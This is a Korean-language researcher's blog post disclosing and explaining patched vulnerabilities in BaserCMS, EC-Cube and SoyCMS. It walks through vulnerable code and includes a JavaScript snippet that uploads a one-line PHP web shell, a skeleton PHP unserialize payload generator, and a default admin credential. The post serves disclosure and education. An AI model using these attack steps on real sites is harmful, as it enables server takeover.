Article List

Writing details about vulnerabilities I found in Japanese CMS Products


Wed Nov 04 2020 04:44:00 GMT+0900 (일본 표준시)
bughunting0dayblogjapaneseCMSexploit

Translation

This post is about vulnerabilities I found in Japanese OSS softwares.

I've written the same content in other languages so the translator is not required for this content.

Please check my company's blog for more detailed information.



Flatt Security Inc.

Flatt Security Inc. provides security assessment services. We are willing to have offers from overseas.

If you have any question, please contact us by https://flatt.tech/en/. Thank you in advance for reading this article.

서론

안녕하세요. 주식회사 Flatt Security의 stypr (@stereotype32) 입니다.

앞서 공개했던 기사 (https://flattsecurity.hatenablog.com/entry/2020/08/04/120000)에서 언급한 대로, 저는 현재 Flatt Security에서 0day hunting과 기술연구를 중점으로 진행하고 있습니다.

본 기사에서는 제가 5월에 입사 후 지금까지 발견한 0day들에 대한 기술적인 설명을 하고자 합니다. 여태까지 찾은 취약점이 꽤 많기 때문에 본 글이 매우 길어질 수 있으므로, 현재까지 해결된 취약점들 중 개인적으로 흥미롭게 생각했던 취약점들을 위주로 기술적인 부분을 중점으로 설명하려 합니다.

0day hunting 외에도 다른 재미난 업무들도 병행하고 있기 때문에, 0day hunting에 실제로 소비한 시간은 한 제품당 최소 1일 ~ 최대 1 주 내의 기간으로 상정하고 진행하였습니다. 입사 후 지금까지 이미 많은 취약점을 찾았고, 아직 패치되지 않은 취약점도 있고, 모든 취약점을 하나씩 소개하는 것은 조금 어렵기 때문에 이후에 추가적인 글을 작성할 예정입니다.

우선 최초 연구 타겟은 일본 내에서 자주 사용하고 있는 오픈소스 제품들을 위주로 진행하였습니다. 이는 일본에서 개발된 오픈소스 제품이 굉장히 많다는 점과 제가 여러 환경에서 테스트할 수 있다고 스스로 판단하였기 때문입니다.

본 글에서는 현재까지 보고한 취약점의 일부를 소개하고 있습니다. 보고시 실제로 악용이 가능하다는 것을 증명하기 위해 증명 코드(이하 PoC)를 작성하였으나, 각 취약점의 위험성을 고려하여 PoC 코드는 따로 개제하지 않고 취약점들에 대해서는 PoC 코드가 실행되었을 때를 녹화한 영상으로 대체하였습니다. 이 부분에 대해서는 너그럽게 이해해 주셨으면 좋겠습니다.

취약점들을 제보하는데 협력해주고 알맞게 대응해주신 각 제품의 개발자분들과 JPCERT/CC 담당자 분들, 그리고 제로데이를 보고하는 과정에서 많은 도움을 주신 사내 여러분께 감사의 말씀을 드립니다.

BaserCMS

BaserCMS란

https://basercms.net/

BaserCMS는 자유롭게 웹사이트를 생성할 수 있는 일본 오픈소스 CMS 플랫폼입니다. CakePHP에서 구현된 CMS이며, 수년간 꾸준히 개발자들이 컨트리뷰트를 하고 있어 많은 사이트에서 BaserCMS를 사용 중에 있습니다.

(CVE-2020-15159) Cross-site Scripting(XSS) and Remote Code Execution (RCE)

전제 조건

해당 취약점은 다음과 같은 전제조건이 필요합니다.

  • XSS 및 RCE를 성공시키기 위해서는 관리자 권한이 필요합니다.

취약점 내용

우선 Cross-Site Scripting(XSS)에 대해 먼저 설명하도록 하겠습니다. 일반적인 XSS 취약점을 찾는 방법은 여러가지가 있겠지만, 일반적인 경우 사용자의 입력을 제대로 sanitize를 하지 않기 때문에 발생하니 sanitize를 제대로 안하는지를 확인하는 형태로 접근하면 좋습니다.

예를 들어, app/webroot/theme/admin-third/ThemeFiles/admin/index.php:48 를 보시면 다음과 같이 currentPath에 대해 echo를 하고 있습니다.

php
<div class="em-box bca-current-box"><?php echo __d('baser', '現在の位置') ?><?php echo $currentPath ?>...

currentPath를 호출하는 부분을 추적해보면 lib/Baser/Controller/ThemeFilesController.php:171 에서 가지고오는데, 입력받은 경로에 대해 특별히 sanitize를 하고 있지 않기 때문에 XSS가 발생합니다.

php
public function admin_index() {
...
        $args = $this->_parseArgs(func_get_args());
        extract($args);
...
        $currentPath = str_replace(ROOT, '', $fullpath);
        $this->subMenuElements = ['theme_files'];
        $this->set('themeFiles', $themeFiles);
        $this->set('currentPath', $currentPath);
        $this->set('fullpath', $fullpath);
...
        $this->help = 'theme_files_index';
...
}
...

계속해서 Remote Code Execution 취약점에 대해 설명하겠습니다. 일반적인 PHP 제품의 경우, PHP파일을 임의적으로 업로드를 하고 업로드된 PHP파일의 경로를 파악하고 있으면, 공격자가 원하는 임의의 코드를 실행할 수 있기 때문에 PHP 파일을 임의적으로 업로드할 수 있습니다.

lib/Baser/Plugin/Uploader/Controller/UploaderFilesController.php:291 를 보시면 다음과 같은 코드가 있습니다.

php
    public function admin_ajax_upload() {
...
        $this->layout = 'ajax';
        Configure::write('debug',0);
...
        $user = $this->BcAuth->user();
        if(!empty($user['id'])) {
            $this->request->data['UploaderFile']['user_id'] = $user['id'];
        }
        $this->request->data['UploaderFile']['file']['name'] = str_replace(['/', '&', '?', '=', '#', ':'], '', h($this->request->data['UploaderFile']['file']['name']));
        $this->request->data['UploaderFile']['name'] = $this->request->data['UploaderFile']['file'];
        $this->request->data['UploaderFile']['alt'] = $this->request->data['UploaderFile']['name']['name'];
        $this->UploaderFile->create($this->request->data);
...
        if($this->UploaderFile->save()) {
            echo true;
        }
...
...
    }

여기서 파일 명에 대한 검증을 하고 있지만, 확장자에 대한 검증은 하고 있지 않습니다.

더욱 더 세부적인 확인을 하기 위해 $this->UploaderFile 을 확인해보면 다음과 같은 내용을 볼 수 있습니다.

php
class UploaderFile extends AppModel {
...
    public function __construct($id = false, $table = null, $ds = null) {
...
        if(!BcUtil::isAdminUser()) {
            $this->validate['name'] = [
                'fileExt' => [
                    'rule' => ['fileExt', Configure::read('Uploader.allowedExt')],
                    'message' => __d('baser', '許可されていないファイル形式です。')
                ]
            ];
        }
        parent::__construct($id, $table, $ds);
...
    }
}

확실히 확장자 검증을 하고 있지만, Admin 계정이 아닐때만 작동하고 있습니다. 즉, 관리자에게 XSS를 성공하는 경우 파일 검증은 무시한채 업로드됩니다.

PoC 및 참고

자바스크립트에서 파일 업로드가 필요한 경우 FormData 클래스에서 Blob Object 를 이용하면 파일 업로드가 가능합니다.

이를 통해 XSS를 통해 임의적인 스크립트가 실행될 수 있는 상황에서 임의적인 데이터를 추가하여 업로드를 할 수 있습니다.

javascript
...
    filename = Math.floor(Math.random() * Math.floor(13371337)) + 'exploit.php';
...
    var blob = new Blob(["stypr@flatt<pre><?php $_GET[cmd]($_GET[arg]); ?></pre>"]);
    var fd = new FormData();
    fd.append('data[_Token][key]', token);
    fd.append('data[UploaderFile][file]', blob, filename);
    // Upload XHR Request
...

해당 공격이 작동하는지에 대한 PoC는 다음 GIF로 대체합니다.

https://i.imgur.com/J3ZnpZg.gif

대응

개발자분께서 빠르게 대응하셨고, CVE 프로세스도 마친 상태입니다.

https://basercms.net/security/20200827

EC-Cube

EC-Cube란

https://www.ec-cube.net/

EC-Cube는 일본에서 가장 많이 사용하고 있다는 EC 사이트 오픈소스입니다.

Symfony로 구현된 제품이며 , 이 제품 또한 꾸준히 개발되고 있습니다. 타겟을 정하던 도중 udon씨가 다음 타겟으로 추천해주셔서 짧은 기간이지만 검토해보게 되었습니다.

Unauthenticated/Authenticated Remote Code Execution (RCE)

전제 조건

해당 취약점은 다음과 같은 전제조건이 필요합니다.

  • Unauthenticated 환경이 APP_DEBUG=1 이어야 합니다. * 일반적인 Docker로 설치를 통해 재현이 가능합니다.

  • Authenticated의 경우 관리자 권한을 가지고 있어야 합니다.* 이는 XSS와 같은 취약점을 통해서 추가적으로 공격할 수 있습니다.

취약점 내용

Unauthenticated의 경우를 먼저 설명하겠습니다. 먼서 APP_DEBUG=1이라는 전제 조건이 필요합니다만, 기본적으로 EC-Cube의 공식 설치 가이드를 통해 Docker 형태로 설치하게 되면 DEBUG 모드는 자동으로 활성화 됩니다.

shell
$ # https://doc4.ec-cube.net/quickstart_install#3dockerを使用してインストールする
$ git clone https://github.com/ec-cube/ec-cube
...

$ cd ec-cube; git checkout c1dbe4267e1a3f353522835a22793aa278f42ef3 # 취약점 제보 시점
Note: switching to 'c1dbe4267e1a3f353522835a22793aa278f42ef3'.
...

$ docker build -t eccube4-php-apache .
Sending build context to Docker daemon  23.16MB
Step 1/21 : FROM php:7.3-apache-stretch
...

$ docker run --name ec-cube -p "8080:80" -p "4430:443" eccube4-php-apache
...

^C
$ docker start ec-cube
ec-cube
$ docker exec -it ec-cube bash
root@e70e14d8e327:/var/www/html# cat .env | grep DEBUG
APP_DEBUG=1

우선 위와 같이 작동 되는 것을 확인했으면, http://[본인_IP]:8080/ 로 접속합니다.

위 스크린샷을 잘 보시면 우측 하단에 sf 라는 로고가 보입니다. 눌러서 sf가 생긴 마크를 한번 더 누르면 다음과 같은 페이지가 나옵니다.. 가끔 sf 이미지가 안나오는 경우도 있으니 바로 /_profiler/로 접속합니다.

위는 Symfony Profiler라고 하는 기능인데, 관련 자료가 인터넷에서 잘 안나오는 편입니다. 이 기능에 대해 단순히 요약해서 설명하자면 Symfony로 개발하는 제품에서 문제가 생겼을때 디버깅을 편리하게 해주는 도구입니다. 물론 이 기능은 디버그 모드가 활성화 되었을때 사용할 수 있습니다.

Symfony 자체는 꽤 안전한 프레임워크이지만, 이 기능이 활성화 될시 보안상으로 정말 취약해집니다. 예를 들어, Profiler를 아래와 같이 Profile Search라는 기능이 있습니다.

위에서 볼 수 있듯, 제가 송신한 요청을 전부 열람할 수 있습니다. Token을 눌러보면 다음 스크린샷과 같은 페이지가 나옵니다. 여기를 자세히 보면 POST 파라미터에 대한 값을 읽을 수 있습니다. 이 기능을 통해 관리자및 사용자의 계정 정보를 탈취할 수 있습니다.

이제 위 취약점을 통해 관리자 계정으로 정상적으로 로그인 할 수 있다고 가정하고 Remote Code Execution에 대해 설명하겠습니다. 이제 관리자로 로그인을 해서 사이트를 둘러다보면, 파일 관리라는 기능이 있습니다.

앞서 BaserCMS에서 설명한 경우와 마찬가지입니다. PHP 기반 제품에서는 PHP 확장자와 같은 PHP파일 업로드를 성공한 다음, PHP 파일 경로를 알아내어 접속하면 임의의 코드를 실행할 수 있었습니다.

src/Eccube/Controller/Admin/Content/FileController.php:52를 확인해보면 어느정도 보안 조치는 하고 있지만, ($jaiNowDir 등을 확인하면 알 수 있습니다.) 실제로 확장자에 대한 확인은 없이 그대로 파일을 이동해버립니다.

php
    public function index(Request $request)
    {
        $form = $this->formFactory->createBuilder(FormType::class)
            ->add('file', FileType::class, [
                'multiple' => true,
                'attr' => [
                    'multiple' => 'multiple'
                ],
            ])
            ->add('create_file', TextType::class)
            ->getForm();

        // user_data_dir
        $userDataDir = $this->getUserDataDir();
        $topDir = $this->normalizePath($userDataDir);
...
        $htmlDir = $this->normalizePath($this->getUserDataDir().'/../');
...
        $nowDir = $this->checkDir($this->getUserDataDir($request->get('tree_select_file')), $this->getUserDataDir())
            ? $this->normalizePath($this->getUserDataDir($request->get('tree_select_file')))
            : $topDir;
...
        $nowDirList = json_encode(explode('/', trim(str_replace($htmlDir, '', $nowDir), '/')));
        $jailNowDir = $this->getJailDir($nowDir);
        $isTopDir = ($topDir === $jailNowDir);
        $parentDir = substr($nowDir, 0, strrpos($nowDir, '/'));
...
        if ('POST' === $request->getMethod()) {
            switch ($request->get('mode')) {
...
                case 'upload':
                    $this->upload($request);
                    break;
...
            }
        }
...
    }
...
    public function upload(Request $request)
    {
        $form = $this->formFactory->createBuilder(FormType::class)
            ->add('file', FileType::class, [
                'multiple' => true,
                'constraints' => [
                    new Assert\NotBlank([
                        'message' => 'admin.common.file_select_empty',
                    ]),
                ],
            ])
            ->add('create_file', TextType::class)
            ->getForm();
        $form->handleRequest($request);
...
        if (!$form->isValid()) {
            foreach ($form->getErrors(true) as $error) {
                $this->errors[] = ['message' => $error->getMessage()];
            }

            return;
        }
...
        $data = $form->getData();
        $topDir = $this->getUserDataDir();
        $nowDir = $this->getUserDataDir($request->get('now_dir'));
...
        foreach ($data['file'] as $file) {
            $filename = $this->convertStrToServer($file->getClientOriginalName());
            try {
                $file->move($nowDir, $filename);
                $successCount ++;
...
    private function getUserDataDir($nowDir = null)
    {
        return rtrim($this->getParameter('kernel.project_dir').'/html/user_data'.$nowDir, '/');
    }

신기하게도 어느정도 보안이라는 것을 하기 위해 .htaccess 파일도 작성되어 있지만 composer, docker, 중요 파일들만 확인하는 것으로 그치고 있습니다.

html
<FilesMatch "^composer|^COPYING|^\.env|^\.maintenance|^Procfile|^app\.json|^gulpfile\.js|^package\.json|^package-lock\.json|web\.config|^Dockerfile|\.(ini|lock|dist|git|sh|bak|swp|env|twig|yml|yaml|dockerignore)$">
   order allow,deny
   deny from all
</FilesMatch>

이를 통해 관리자 권한에서 PHP 파일을 업로드하여 http://[host]/user_data/[파일명].php로 파일을 업로드할 수 있습니다.

PoC

아래와 같은 루틴으로 구현하면 PoC가 완성됩니다.

  1. Symfony Profiler를 통해 admin 폴더의 directory, 관리자의 ID, PW를 가로챕니다.

    • 그렇지 아니한 경우 기본적으로 admin의 아이디는 admin/password 입니다.
  2. 가로챈 계정정보를 통해 admin으로 로그인 한 다음, PHP 파일을 업로드 합니다.

  3. html/user_data/에 업로드된 파일을 직접 URL로 불러오면 PHP 코드가 실행됩니다.

해당 공격이 작동하는지에 대한 PoC는 다음 영상으로 대체합니다.

https://www.youtube.com/watch?v=w6otERfcAww

대응 및 주변 환기

실제로 해당 취약점에 대해 개발자와 오랜기간 의견을 나누었고, 개발자가 각 처에 문의하고 회의를 한 결과 개발자는 취약점으로 인정하지 않기로 판단하였습니다. 이유는 다음과 같습니다.

  1. PHP 파일이 관리자 권한에서 업로드 되는 점은 EC-Cube의 자체 사양

  2. 초기설정이 디버그 모드가 되는 점은 제품판에서는 발생하지 않기 때문에 취약점이 아니라는 판단

이미 대응 조치를 위해 환경설정에 관한 가이드 공유, 보안 체크리스트, 보안 관련 플러그인 공유 및 꾸준한 주위 환기를 하고 있음https://www.ec-cube.net/products/detail.php?product_id=2040https://doc4.ec-cube.net/environmental_setting

실제로 인터넷 상에 해당 취약점을 통해 피해받을 수 있는 사이트가 다수 존재하고 있고(이미 피해를 받은 사이트도 있겠지만), 앞서 소개한 BaserCMS의 취약점의 경우 위와 같은 상황에서 PHP 파일 업로드가 안되도록 수정하는 식의 대응을 취했기 때문에, 굉장히 당황스러웠고 납득하기 어려웠습니다. 개발자들도 보안 조치를 위해 .htaccess 작성등 개발자가 많은 노력을 했음에도 말입니다.

결국 EC-Cube 개발사가 주변환기 및 알맞은 대응을 꾸준히 해나가기로 하였고, 제보한 취약점은 PoC를 제외한 어느 정도의 정보를 공개할 수 있다는 조건 하에 Close 하였습니다.

현재로써는 해당 취약점을 대응하기 위해 localhost를 제외한 어느 환경에서도 debug가 활성화되지 않도록 여러번 확인하는 방법 뿐입니다.

제보에서 오간 내용에 대한 자세한 정보는 제 개인 블로그에서 작성했으니 궁금하신 분들은 이쪽에서 확인해주세요.

https://blog.harold.kim/2020/09/unauthenticated-authenticated-remote-code-execution-in-ec-cube

SoyCMS

SoyCMS란?

SOY CMS는 블로그와 인터넷 쇼핑몰을 구축 할 수있는 자유도가 높은 CMS (콘텐츠 관리 시스템)입니다. 오픈 소스 소프트웨어로 공개하고 있기 때문에 무료로 사용할 수 있습니다.

인터넷을 검색하던 도중 우연히 발견한 제품이지만, 뭔가 작명 센스도 그렇고 아직까지 꾸준히 개발되고 있는 제품이라 판단하여 도전해보기로 하였습니다.

(CVE-2020-15183) Cross-site Scripting (XSS) leading to Remote Code Execution (RCE)

전제조건

전제조건은 다음과 같습니다.

  1. 관리자 권한인 상태에서 작동

취약점 내용

우선 Cross-Site Scripting에 대해 설명하겠습니다.

우선 코드를 분석하다 보면 cms/app/webapp/inquiry/admin.php에서 다음과 같은 코드를 보게 됩니다.

php
class SOYInquiryApplication{
...
    function init(){
        $level = CMSApplication::getAppAuthLevel();
...
        CMSApplication::main(array($this,"main"));
...
    }
...
    function main(){
...
        $arguments = CMSApplication::getArguments();
...
        foreach($arguments as $key => $value){
            if(is_numeric($value)){
                $flag = true;
            }

            if($flag){
                $args[] = $value;
            }else{
                $classPath[] = $value;
            }
        }
        $path = implode(".",$classPath);
        $classPath = $path;
...
        if(preg_match('/^Help/',$classPath)){
            CMSApplication::setActiveTab(4);
        }

        if(!SOY2HTMLFactory::pageExists($classPath)){
            return $classPath;
        }
...
}

$app = new SOYInquiryApplication();
$app->init();

page가 존재하지 않으면 $classPath를 바로 리턴하는 것이 보여 무언가의 수상함을 느끼고 이것저것 시도해본 결과 XSS가 발견되었습니다. Root Cause를 찾아보기 위해 이 함수를 호출에서 출력하기 까지의 루틴을 순서대로 trace 해보았습니다.

프로그램이 실행될 때 처음에는 app/index.php 에서 CMSApplication::run() 으로 시작합니다.

php
<?php
define("CMS_APPLICATION_ROOT_DIR", dirname(__FILE__) . "/");
define("CMS_COMMON", dirname(dirname(__FILE__)) . "/common/");

include_once(dirname(__FILE__)."/webapp/base/config.php");

try{
    //アプリケーションの実行
    CMSApplication::run();

    //表示
    CMSApplication::display();

}catch(Exception $e){
    $exception = $e;
    include_once(CMS_COMMON . "error/admin.php");       
}

이후에, CMSApplication 를 보면 다음과 같은 코드를 보게 됩니다.

php
class CMSApplication {
...
        public static function run(){
                $self = CMSApplication::getInstance();
                $self->root = SOY2PageController::createRelativeLink("./");
....
                //pathinfoからアプリケーションIDを取得
                $pathinfo = (isset($_SERVER["PATH_INFO"])) ? $_SERVER["PATH_INFO"] : "";
...
                $paths = array_values(array_diff(explode("/",$pathinfo),array("")));
                if(count($paths)<1){
                        SOY2PageController::redirect("../admin/");
                        exit;
                }
                $self->applicationId = $paths[0];
                $self->arguments = array_slice($paths,1);
...
                $cacheDir = dirname(dirname(dirname(__FILE__)))."/cache/".$self->applicationId."/";
...
                //アプリケーションの読み込み
                include_once($base . $self->applicationId . "/admin.php");
...
                $self->application = call_user_func($self->appMain);
         }
        public static function display(){
                $self = CMSApplication::getInstance();
                include_once(dirname(__FILE__) . "/" . $self->mode . ".php");
        }
        public static function main($func){
                $obj = CMSApplication::getInstance();
                $obj->appMain = $func;
        }
...

        public static function display(){
                $self = CMSApplication::getInstance();
                include_once(dirname(__FILE__) . "/" . $self->mode . ".php");
        }

...
}

$classPath가 도달하는 지점까지의 코드가 실행되는 과정을 순서대로 나열해보면 다음과 같습니다.

최초 프로그램이 실행될 때는 app/index.php에서 시작하며 CMSApplication::run(); 이 실행됩니다. run() 함수가 시작하는 시점에서부터 중요한 부분만 나열해보면 다음과 같습니다.

  1. $pathinfo = $_SERVER["PATH_INFO"] 는 현재 실행하는 파일의 경로입니다.예를 들어 http://hoge.com/index.php/inquiry/blah $pathinfo는 /1/2 가 됩니다.

  2. $pathinfo 를 통해 $self->arguments , $self->applicationId 등의 값이 추가됩니다.

  3. 입력받은 $self->applicationId를 통해 $base . "inquiry/admin.php" 가 include 됩니다.

    • SOYInquiryApplication의 코드의 최하단을 보면 $app = new SOYInquiryApplication(); $app->init(); 이 실행됩니다.

    • $app->init() 이 실행되는 과정을 보다보면 CMSApplication::main(array($this,"main")); 을 호출합니다.

      • CMSApplication::main(array(SoyInquiryApplication,”main”)); 을 실행하면 $obj->appMain = Array(SoyInquiryApplication, ”main”); 이 됩니다.
    • 이후 마지막에 $self->application = call_user_func($self->appMain); 를 통해SoyInquiryApplication->main()을 호출하게 됩니다.

      • class는 $arguments = CMSApplication::getArguments(); 를 가지고 $classPath를 생성합니다.

      • 하지만 아까 언급한대로 존재하지 않는 page인 경우 return $classPath가 있으므로 바로 리턴합니다.

결국 최종적으로는 $self->application = $classPath 가 입력됩니다.

여기서의 문제점은 다음과 같습니다.

  1. 위에서 진행하던 일련의 과정들 중에 $pathinfo에 대한 문자열 검증이 한개도 없었습니다.

  2. $pathinfo로 생성된 $classPath 가 잘못된 경우 그대로 해당 값을 리턴합니다.

  3. 결국 $self->application = $classPath 에서 $classPath는 $pathinfo 에 입력했던 값 그대로 assign됩니다.

이제 CMSApplication::run() 다음으로 실행되는 CMSApplication::display(); 코드가 실행되면 include_once(dirname(FILE) . "/" . $self->mode . ".php"); 가 실행됩니다.

여기서 $self->mode 는 기본 템플릿입니다. 이 템플릿의 소스코드를 잠깐 보면 다음과 같습니다.

php
...
<div id="tabs" class="content-wrapper">
    <?php CMSApplication::printTabs(); ?>
</div>

<div id="content" class="content-wrapper last"><?php CMSApplication::printApplication(); ?></div>
...

여기서 CMSApplication::printApplication() 을 보면 다음과 같은 코드를 볼 수 있습니다.

php
        public static function printApplication(){
                $self = CMSApplication::getInstance();
                echo $self->application;
        }

그렇습니다. 아까 전에 언급한 $self->application = $classPath 이므로, 악의적인 경로를 입력하게 되면 그대로 HTML 태그가 입력되게 되고, 이를 통해 Javascript를 실행할 수 있습니다.

계속해서 Remote Code Execution입니다. 해당 취약점에“leading to RCE” 라고 언급하였는데, 이는 아직 패치되지 않은 기존 이슈를 이용하여 공격하였습니다.

Issue #5: getshell https://github.com/inunosinsi/soycms/issues/5

관리자 권한에서 임의로 index.php 소스코드를 수정할 수 있는 문제점이 발견되었는데, 이 문제점이 아직 패치되지 않은듯 하여 이 취약점을 이용하여 RCE를 성공시킬 수 있었습니다.

대응

단독으로 개발을 담당하고 계신것 같아 직접 PR을 요청하여 코드를 수정하였습니다.

RCE의 경우 Referer 검사와 CSRF 토큰들을 활용하여 수정하였습니다.

(CVE-2020-15188) Remote Code Execution (RCE)

전제조건

전제조건은 다음과 같습니다.

  1. 관리자 권한인 상태에서 작동

  2. 관리자가 아닌 경우, XSS를 이용한 공격. 앞서 소개한 CVE-2020-15183를 활용할 수 있습니다.

취약점 내용

앞서 언급하였던 XSS를 통해 사용할 수 있는 또 다른 RCE 가젯입니다.

무언가 대단한 것은 아니지만, elFinder에서 발생할 수 있는 문제점이 실제로 발견되었다는 점이 흥미로웠습니다.

SoyCMS에 있는soycms/js/elfinder/php/connector.php:143-159를 확인해보면 다음과 같은 옵션이 있습니다

php
$opts = array(
    // 'debug' => true,
    'roots' => array(
        // Items volume
        array(
            'driver'        => 'LocalFileSystem',           // driver for accessing file system (REQUIRED)
            'path'          => $path,                       // path to files (REQUIRED)
            'URL'           => $url,                        // URL to files (REQUIRED)
            //'trashHash'     => 't1_Lw',                     // elFinder's hash of trash folder
            'winHashFix'    => DIRECTORY_SEPARATOR !== '/', // to make hash same to Linux one on windows too
            'uploadDeny'    => array('all'),                // All Mimetypes not allowed to upload
            'uploadAllow'   => array('image', 'text/plain', 'text/css', 'application/zip', 'application/epub+zip','application/pdf'),// Mimetype `image` and `text/plain` allowed to upload
            'uploadOrder'   => array('deny', 'allow'),      // allowed Mimetype `image` and `text/plain` only
            'accessControl' => 'access'                     // disable and hide dot starting files (OPTIONAL)
        ),
    )
);

위와 같이 mimetype 에 대한 확인만 하고 실제로 확장자를 확인하지는 않습니다. 이를 통해 공격자는 임의 파일을 업로드 할 수 있습니다.

이 문제에 대해 elFinder에서 이슈가 여러번 제기되었었는데, 결국 유일한 해결책은 $opts에 attributes를 추가하여 위와 같은 현상을 없애는 것입니다.

php
            'uploadOrder'   => array('deny', 'allow'),      // allowed Mimetype `image` and `text/plain` only
            'accessControl' => 'access',                     // disable and hide dot starting files (OPTIONAL)
            'attributes' => array(
                                //フロントコントローラー
                                array(
                                        'pattern' => '/\\.php(\\.old(\\.[0-9][0-9])?)?$/',
                                        'read' => false,
                                        'write' => false,
                                        'locked' => true,
                                        'hidden' => true,
                                ),
                        )
        ),

PoC

위 공격을 위해 BaserCMS에서 이용했었던 Blob Object를 활용하여 공격하였습니다.

해당 공격이 작동하는지에 대한 PoC는 다음 영상으로 대체합니다.

https://www.youtube.com/watch?v=FWIDFNXmr9g

대응

단독으로 개발을 담당하고 계신것 같아 직접 PR을 요청하여 코드를 수정하였습니다.

(CVE-2020-15189) Cross-site Request Forgery (CSRF) leading to RCE

전제조건

전제조건은 다음과 같습니다.

  1. 관리자 권한인 상태에서 작동

취약점 내용

우선 코드를 조금 찾아보다 보면cms/app/webapp/inquiry/pages/Template/EditPage.class.php 와 같은 코드를 볼 수 있습니다.

php
    function doPost(){
        
        $target = $this->target;
        $dir = SOY2::RootDir() . "template/";
        if(!file_exists($dir . $target) || !is_writable($dir.$target)){
            CMSApplication::jump("Template");
            exit;
        }
        
        $path = $dir . $target;
        
        //bk
        $content = file_get_contents($path);
        file_put_contents($path . "_" . date("YmdHis"),$content);
        
        $content = $_POST["content"];
        file_put_contents($path,$content);
        
        CMSApplication::jump("Template");
        exit;
    }
function __construct() {
        
        $target = @$_GET["target"];
        $this->target = $target;
        $dir = SOY2::RootDir() . "template/";
        if(!file_exists($dir . $target) || !is_writable($dir.$target)){
            CMSApplication::jump("Template");
            exit;
        }
        
        parent::__construct();
        
        $path = $dir . $target;
        
        $content = file_get_contents($path);
        
        $this->createAdd("target","HTMLLabel",array(
            "text" => $target
        ));
        
        $this->createAdd("content","HTMLTextArea",array(
            "name" => "content",
            "value" => $content
        ));
    }

위 코드의 doPast 메쏘드에서는 CSRF 토큰을 검증하지도 않고 그대로 파일을 입력해버립니다. 이를 통해 외부 URL에서 본인 사이트로 접근하면 CSRF를 통해 서버에 악의적인 파일을 강제로 저장할 수 있게 됩니다.

그 외에 해당 페이지에서 상위 디렉토리의 파일들을 리스팅하고 include하는 취약점이 __construct에 있었으나, 이는 따로 CVE를 등록하지 않고 그냥 패치하였습니다.

PoC

해당 공격이 작동하는지에 대한 PoC는 다음 영상으로 대체합니다.

https://www.youtube.com/watch?v=ffvKH3gwyRE

대응

단독으로 개발을 담당하고 계신것 같아 직접 PR을 요청하여 코드를 수정하였습니다.

(CVE-2020-15182) Unauthenticated Remote Code Execution (RCE)

전제조건

전제조건은 다음과 같습니다.

  1. 기본 내장 플러그인인 Soy Inquiry를 사용하고 있어야 합니다.

대부분의 Soy CMS를 사용중인 사이트에서 Soy Inquiry를 사용하고 있으며, 실제로 이 취약점을 통해 공격이 가능하다는 것을 PoC를 통해 증명하였기 때문에 실제 영향력은 보고한 4개의 취약점 중 가장 높습니다.

취약점 내용

우선 기본 플러그인 Soy Inquiry가 정상적으로 작동한다고 가정하여, cms/app/webapp/inquiry/page.php를 분석해보면 다음과 같은 내용이 나옵니다.

php
        if(isset($_POST["form_value"]) && isset($_POST["form_hash"])){
            $value = base64_decode($_POST["form_value"]);

            //不正な書き換えでない場合のみ
            if(md5($value) == $_POST["form_hash"]){
                $_POST["data"] = unserialize($value);
            }
        }

위 코드에서는 두가지의 문제점이 있습니다.

  1. md5($value) == $_POST["form_hash"]

위 코드를 보면 不正な書き換えでない場合のみ 을 위해 md5($value) == $_POST["form_hash"] 를 작성하고 있으나, 실제로는 md5는 암호화가 아닌 그저 단방향 해쉬이며 $_POST["form_value"]와 $_POST["form_hash"]는 사용자가 컨트롤할 수 있기 때문에 아무런 보호가 되어있지 않습니다.

  1. $_POST["data"] = unserialize($value);

가장 위험한 코드입니다. PHP의 공식 문서 를 참고하면 다음과 같은 내용이 있습니다.

Do not pass untrusted user input to unserialize() regardless of the options value of allowed_classes. Unserialization can result in code being loaded and executed due to object instantiation and autoloading, and a malicious user may be able to exploit this. Use a safe, standard data interchange format such as JSON (via json_decode() and json_encode()) if you need to pass serialized data to the user. If you need to unserialize externally-stored serialized data, consider using hash_hmac() for data validation. Make sure data is not modified by anyone but you.

말 그대로, unserialize() 는 절대 실제 사용하는 코드에 있어서는 안되는 위험한 코드들 중 하나입니다. 인터넷을 검색해보면 다음과 같이 unserialize() 에 대한 위험성 및 대책을 소개하고 있습니다.

실제로 unserialize()가 호출되기 전의 Soy Inquiry는 한 문서를 호출하기 위해 정말 많은 class들을 호출하고 있고, 그 중 위험해보이는 class를 잘 활용하여 임의의 코드를 실행할 수 있었습니다.

PoC 및 참고

저의 경우 PoC를 작성하기 위해 아래와 유사하게 코드를 작성하였고, 다음과 같은 형태의 PHP코드를 통해 임의의 PHP 코드를 실행할 수 있었습니다. 이보다 더욱 짧은 페이로드를 작성할 수 있다고 생각하기 때문에 도전해보고 싶으신 분은 한번 도전해보세요.

php
<?php

class ...ClassHoge2 {
...
}

class ...ClassHoge1 {
...
}

$exploit = serialize(Array(
    "column_1" => ...ClassHoge1,
    "column_2" => "[email protected]",
    "column_3" => "c",
    "column_4" => "e",
    "column_5" => "e",
    "column_6" => "f",
    "hash" => "1337",
    "captcha" => "1337",
));

$form_hash = md5($exploit);
$form_value = base64_encode($exploit);

echo "form_hash = '$form_hash'\n";
echo "form_value = '$form_value'\n";

?>

unserialize() exploit에 관한 팁을 드리자면, unserialize를 빠르고 효율적이게 exploit하는 방법으로는 실제로 unserialize() 명령어가 실행되기 바로 전에 var_dump(get_declard_classes());와 같은 코드를 추가하면 더욱 더 빠르고 효율적이게 찾을 수 있습니다.

해당 공격이 작동하는지에 대한 PoC는 다음 영상으로 대체합니다.

https://www.youtube.com/watch?v=zAE4Swjc-GU

대응

단독으로 개발을 담당하고 계신것 같아 직접 PR을 요청하여 코드를 수정하였습니다.

글을 마치며

너무 글이 길어졌네요.

이번 글에서는 4개의 제품에서 총 6가지의 취약점을 소개했지만, 아직 취약점이 패치되지 않았거나 완벽히 패치가 진행되지 않은 취약점이 25건 이상 더 있기 때문에, 관련 내용은 추후 패치가 어느정도 끝나게 되면 나중에 블로그에 게시하도록 하겠습니다.

긴 글 읽어주셔서 정말 감사합니다.